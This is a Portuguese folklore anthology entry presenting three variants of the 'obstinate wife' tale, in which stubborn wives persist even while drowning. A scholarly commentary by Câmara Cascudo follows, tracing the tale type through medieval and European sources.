A MULHER TEIMOSA
Numa aldeia de Barcelos, havia um casal que andava sempre ás bulhas, porque a mulher era muito teimosa.
Um dia; o homem trouxe para casa um queijo que comprou na vila, e, ao jantar, pô-lo na mesa e pediu à mulher uma faca para o cortar, mas a mulher, em vez de lhe trazer a faca, trouxe-lhe uma tesoura.
— Esta é boa! disse o homem — Como é que eu posso cortar o queijo com a tesoura? Foi coisa que nunca se viu!
— Pois o queijo sempre se cortou com a tesoura — disse a mulher.
— Que disparate! Com a faca’é que sempre se cortou.
— Pois é com a tesoura! — teima ela.
— É com a faca, mulher!
E questionaram os dois por algum tempo, até que o homem, farto da teimosia, bateu na mulher, e perguntou em seguida:
— Então é com a faca, ou não?
— É com a tesoura, já disse! — teimou a mulher, apesar da coça que levara.
O homem enfureceu-se tanto, que, perdendo a cabeça, agarrou na mulher e foi a correr deitá-la ao rio, o Cávado por sinal.
A mulher, que não sabia nadar, foi logo ao fundo como um prego, e o homem, ao vê-la desaparecer, ainda lhe disse cá de cima:
— Diz lá agora com que é que se corta o queijo! E viu-se então a mão da mulher aparecer por fora da água e mexer dois dedos, como a dizer que era com a tesoura.
Nem naquela altura deixou de teimar.
* * *
Havia uma mulher que era muito teimosa, e chamava ao homem Mata-Piolhos.
Segue-se que o homem não gostava do nome, e dizia-lhe:
— Mulher, não me chames assim! Mas ela teimava.
Um belo dia, o homem meteu-a num poço, mas ela, enquanto ia pelo poço abaixo, ia dizendo:
— Mata-Piolhos, Mata-Piolhos, Mata-Piolho! E o homem sempre a fazê-la escorregar mais para o poço; já lhe ia a água quási no peito, e ela ainda:
— Mata-Piolhos, Mata-Piolhos, Mata-Piolhos! Foi mais para baixo, e, quando já lhe chegava a água à boca e não podia falar, então levantou os braços, e só com eles de fora fazia o gesto de quem mata-piolhos.
* * *
Havia em tempos uma mulher tão teimosa, que por birra, meteu-se a uma ribeira, que levava muita água, e não dava passagem. Caiu na ribeira, e morreu afogada. No dia seguinte andou o marido em procura do cadáver da mulher; em vez, porém, de seguir o leito da ribeira, acompanhando o curso da água, êle procurou o cadáver pela ribeira acima.
— Procura mal o cadáver, — disse um compadre — pois é natural encontrá-lo lá em baixo.
— Não, compadre, a minha mulher era muito teimosa e mesmo depois de morta é capaz de caminhar contra a maré.
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Cláudio Basto, A teimosia das mulheres nos contos populares, números 1, 28 e 34, Brasília, Volume II, 171-197, Coimbra, 1943.
João Ribeiro, O Folk-Lore, estudos de literatura popular, Rio de Janeiro, 1919, XXXVI, A mulher porfiosa. Origens de uma história popular, 254-262, e Cláudio Basto, opus cit, realizam o que melhor possuímos na espécie bibliográfica. Mt. 1365 de Aarne-Thompeson, A, B e C, The Obstínate Wife.
O do Mt.136’5, Cutting with the Knife or the Scissors. Stith Thompson cita, como mencionado o episódio, em Kohler-Bolte, Kleinere Schrif-ten, Weimar, 1, 136, Taylor, Washington Uni-versity Studies, IV, 181 nota-28, Crane, Exempla of Jacques de Vitry, 223, n.° 222, Bédier, Fabliaux, 468, Finlândia, Noruega, Finlândia-Suéca, Flandres, conto russo de Afanasiev, V, n.o 1.
Popular no século XIII, onde o vemos em três fontes, pelo menos; no Exempla ou Sermones Vulgares, de Jacques de Vitry, falecido em 1240, edição londrina de 1890, dirigida pelo prof. T. F. Crane, n.° 26 das publications da Folk Lore Society, no Fables, de Marie de France, e em Etienne de Bourbon, Anecdotes historiques, légendes et apologues tirés’ du recueil inédil d’Etienne de Bourbon, publicado por Leroy de la Marche. Puymaigre resume: — Très nombreus ses sont dans les vieux recueils les histoires de femmes contrariantes. Etienne de Bourbon res conte l’historiette qui a fourni à Marie de France une fable et à un trouvère le Pré tondu, et et celle dont La Fontaine a fait la Femme qui se noie, Ces deux contes se retrouvent encore dans bien d’autres endroits dans Democritus ridem: (p. 121), dans un très curieux livre espagnol El cor bacho de l’archiprêtre de Talavera (folio XXIII, verso) …Timoneda a répété la Femme qui se noie dans El Sobremesa y alivio de Caminantes conte premier. Teófilo Braga (nota ao 106, A mu lher teimosa, versão do Porto) cita Edelestand do Méril na Histoire de la Fable esopique, segundo Poésies inédites du Moyen Age, p. 154, nota-5, um manuscrito do século XV, na Biblioteca de Bruxelas, onde há a fabula De homine et uxore litigiosa, com o final característico: — Illa, au tem, quia jam linguam amiserat et loqui non potuit, signo quo valuit, pertinaciam ostendit, forcipi formam et officium digitis ostentans. Tivera a língua cortada, o que não ocorre nas versões de Portugal e Brasil, exceto numa que João Ribeiro sintetizou, 258. Em Jacques de Vitry o marido joga a mulher nágua, mergu lhando-a, enquanto ela, toda vez que emerge, ergue os dedos, imitando o gazear da tesoura. Alfredo Apell, Contos Populares Russos, traduziu A mulher teimosa, XXIII, indicando va riantes norueguesas, de Asbjornsen, polaca de Afanasiev (Velikoe Zertsalo) e sérvias. João Ribeiro ensina: — Esta origem anterior à conquista árabe, torna problemática a hipótese de uma fonte asiática. Em nota: — A história é conhecida de russos, alemães, turcos e vários povos. Tanto J. Bédier como R. Kohler e G. Amalfi, dão extensa bibliografia do assunto.
E’ a C do Mt. 1365, The Wife Insults the Husband as Lousy-head. No Brasil dizemos, teimosa como a mulher do piolho, como exemplo de obstinação irritante. João Ribeiro informa que o mesmo se dá em Itália, com o apelido de tagliapidocchi, mata-piolho. Cita, o mestre brasileiro, Mistral, em Lis isclo d’or, 302, o floren tino Poggio no Facécias, XIX: — de muliere obstinata quae virum pediculosum vocavit. Jacques de Vitry, Sermones vulgares, com fecho idêntico ao conto atual : — Cum autem non posset loqui verbo, elevabat manus et quasi atterens pediculos de manibus faciebat. E demais fontes medievais. Stith Thompson indica como existente na Finlândia, Dinamarca, Noruega, Flandres. Na Dinamarca, constando do Manus-cript in the Danske Folkemindesamling.
É a letra A do Mt. 1365, Falis into a Stream. Stith Thompson dá bibliografia: Jacques de Vitry, Exempla, 225 f, n.° 227, Kohler-Bolte, citado, 1, 506, nota-1, Wesselski, Hoãscha Nasreddin, 1, 270, n.° 276, Moltke Moe, Samlede Skrif-ter, 1, 209, Afanasiev nos contos russos (n.° 26 a, b.) Popular na Estônia, Finlândia, Finlândia-Suéca, Noruega, Rússia. João Ribeiro cita o Sobremesa y alivio de Caminantes, II p, primeiro conto, de Timoneda, respondendo o marido da teimosa que procura o cadáver a montante do rio porque mi mujer siempre fué contraria á mis opiniones. Os exemplos transcritos foram: A, de Pousa, Barcelos, B, da Covilhã, C, de Loulé. O sr. Cláudio Basto reuniu a maior coleção de variantes. Conclue: Não podemos afirmar que a anedota seja de fonte literária, invenção de certa pessoa culta em determinada época, pois muito bem pode ela ser de proveniência popular, e depois aproveitada literáriamtente como fábula ou exemplo. Não devemos excluir, em absoluto, a hipótese de haver sido e conto sugerido por qualquer caso. A origem é, certamente, europeia, e a difusão far-se-ia, so bretudo, por intermédio dos sermões. Creio na origem popular, utilização literária posterior para fins morais, e persistência na transmissão oral, independente ou paralela à fixação letrada. (Câmara Cascudo).
Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora, 1944.
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